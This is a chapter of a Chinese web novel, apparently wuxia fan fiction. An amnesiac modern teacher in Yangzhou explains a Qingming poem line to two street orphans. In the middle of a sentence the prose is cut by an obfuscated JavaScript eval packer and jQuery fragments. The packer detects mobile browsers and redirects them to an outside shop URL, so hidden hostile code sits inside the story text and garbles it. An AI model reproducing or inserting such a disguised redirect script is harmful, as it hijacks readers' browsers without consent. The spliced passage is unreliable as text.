3. 双龙学诗

作品:《[综武侠]语文老师的日常

    第二章清明时节雨纷纷,路上行人欲断魂


    清明细雨如牛毛,淅淅沥沥笼罩着整座扬州城。青石板路被雨水浸得发亮,巷陌间水汽氤氲,连风里都带着几分湿冷的愁意。


    屋内,沈砚之正临窗坐着,随手翻着一卷古旧抄本。


    他本是二十一世纪的一名语文老师,一朝意外,来到这个世界。他只记得自己是一名普通的小学语文老师,那段日子里,满心满眼都是即将开展的公开课,整日埋首在教案里反复磨课,逐字逐句斟酌诗词讲解的话术,想着如何用最浅显易懂的方式,让学生读懂古诗词里的情与景。那些流传千年的诗词歌赋,如同刻在骨子里一般,张口便能吟诵,释义、意境、典故,无一不清晰,仿佛早已融入血脉。


    可除此之外,更多的过往却一片模糊。他记不清自己是如何来到这个陌生时代,记不清自己原本的家世过往,甚至连现代生活里的诸多细节都变得朦胧,唯有“语文老师”这个身份与满腹古诗词,是他脑海中最笃定的存在。偶尔,脑海深处会掠过一丝极其零碎、毫无头绪的残影,没有具体画面,也没有清晰声响,只是一瞬间的恍惚,像是有什么重要的事情被遗忘了。可稍一凝神去想,那些碎片便消散得无影无踪,只剩下一丝莫名的空落感,转瞬即逝。他也只当是穿越之后心神不宁,从未深究。


    雨丝敲窗,屋外忽然传来踏水而来的脚步声,轻快而熟悉。


    “沈大哥!”


    “沈大哥,我们来了。”


    沈砚之抬眸起身,拉开木门。


    门口站着的正是寇仲和徐子陵,两个十二三岁的少年。衣衫旧而利落,裤脚沾着泥点,头发被细雨打湿几缕,一身在街头混大的野气,眼神却清亮,半点不见畏缩。


    寇仲走在前头,身形灵活,眉眼间带着一股天生的锐气与狡黠,小小年纪便藏着不甘人下的劲头,说话做事坦荡直接,从无扭捏之态。他本就是街头孤儿,靠自己双手讨生活,早练就了一身不怯生、不自卑的性子,对沈砚之亲近归亲近,却也不会显得卑微窘迫。


    徐子陵跟在一旁,气质截然相反。他沉静、淡然,遇事不急不躁,即便身处寒微,也自带一份从容。同样是孤儿,他没有寇仲那样外露的野心,更多是随遇而安,却心思细腻,看得通透。


    两人都没什么像样的雨具,只扯了块破布、摘了片大叶子遮着头,一路跑过来,身上带着雨气,却精神得很。


    “快进来擦一擦,仔细着凉。”沈砚之起身递过两块干布,语气温和。


    徐子陵接过布巾,轻轻点头,动作细致地擦去雨水,声音温和:“街上无事,想着过来陪陪沈大哥,顺便还有一事请教。”


    寇仲则大大咧咧往凳上一坐,自来熟得很,开门见山:“沈大哥,我们方才在街口,听见几个读书人在茶摊边念诗,‘清明时节雨纷纷,路上行人欲断魂’。”


    他顿了顿,语气带着几分自得,又有几分困惑:


    “字我们都认得,以前趴私塾墙头也不是白听的,自认还算机灵。可这诗念着顺口,跟眼下的雨景又对得上,深意我们就摸不透了。‘欲断魂’三个字,到底是什么意思?难道清明路上,还真能把魂给走丢了?”


    他说得直白坦荡,全无不好意思,完全是街头少年有啥问啥的性子。他们认得字,能读下来,却不懂诗词里的情致与寄托,这也是沈砚之一直要教他们的地方。


    沈砚之看着两人,眼底柔和。


    他本就是老师,最擅长把复杂东西讲浅,此刻自然而然便进入了讲课状态,语气温和,条理清晰。


    “你们字认得全,这已经很厉害了。”他先夸了一句,再慢慢解释,“清明这天,多是上山扫墓、祭拜先人,行人心中本就带着思念与伤感,心情沉重。再遇上这连绵冷雨,湿冷入骨,愁绪更重,整个人失魂落魄,心神不宁,所以才说是‘欲断魂’。”


    “不是真的丢了魂魄,是伤心到了极处,整个人像被抽走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487312|202084||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了精神一般。”


    怕他们还不够明白,他又举了些市井里常见的情形,说给两人听,不讲文绉绉的辞藻,只说人情冷暖。


    徐子陵听得微微颔首,眼中恍然:“原来是心中哀伤,才会这般。听沈大哥一说,再看这雨,倒真有几分凉意上心头。”


    寇仲则眼睛一亮,拍了下大腿:“懂了懂了!就是心里堵得慌,做事都没力气那种!我说怎么听着酸酸的,原来藏着这层意思。”


    他天生心思活,念头转得极快,跟着便笑道:“要是以后我们也能把诗念得这么顺口,这么有味道,走到哪儿都能露一手,也不至于总被人当成目不识丁的野小子。”


    一句话,便露了他心底那点不甘平庸、想要出头的野心。


    徐子陵在旁轻轻一笑,不置可否。


    他不像寇仲那样一心想争些什么,只是觉得跟着沈砚之识文断字,心能静下来,日子也多了点滋味。


    沈砚之看在眼里,只当是少年人的心气,温和道:“你们想学,我便教你们。诗词文章里的东西不少,慢慢学,总能越来越明白。”


    他本就因救命之恩心存感激,又兼师者本分,见两个少年虽出身寒苦,却不愚钝、不自弃,自然愿意多费些心思。


    窗外雨丝依旧纷纷,屋内灯火昏黄而暖。


    沈砚之随口又延伸讲了几句清明相关的短句,用的都是课堂上让孩子听得进去的说法,轻松又好记。寇仲听得兴致勃勃,时不时插一两句嘴,透着一股将来要干出点事的锐气;徐子陵则静静听着,偶尔点头,神色淡然。


    没人提什么江湖,什么天下。


    在这一刻,扬州小巷里,只有一个失忆的现代语文老师,和两个被他视作学生的街头孤儿。


    只有雨声,诗句,与少年人眼里尚未被乱世完全磨去的光。


    而沈砚之脑海深处,那一点偶尔闪现的模糊碎片,在温和的交谈声中,又悄无声息地沉了回去,无人察觉。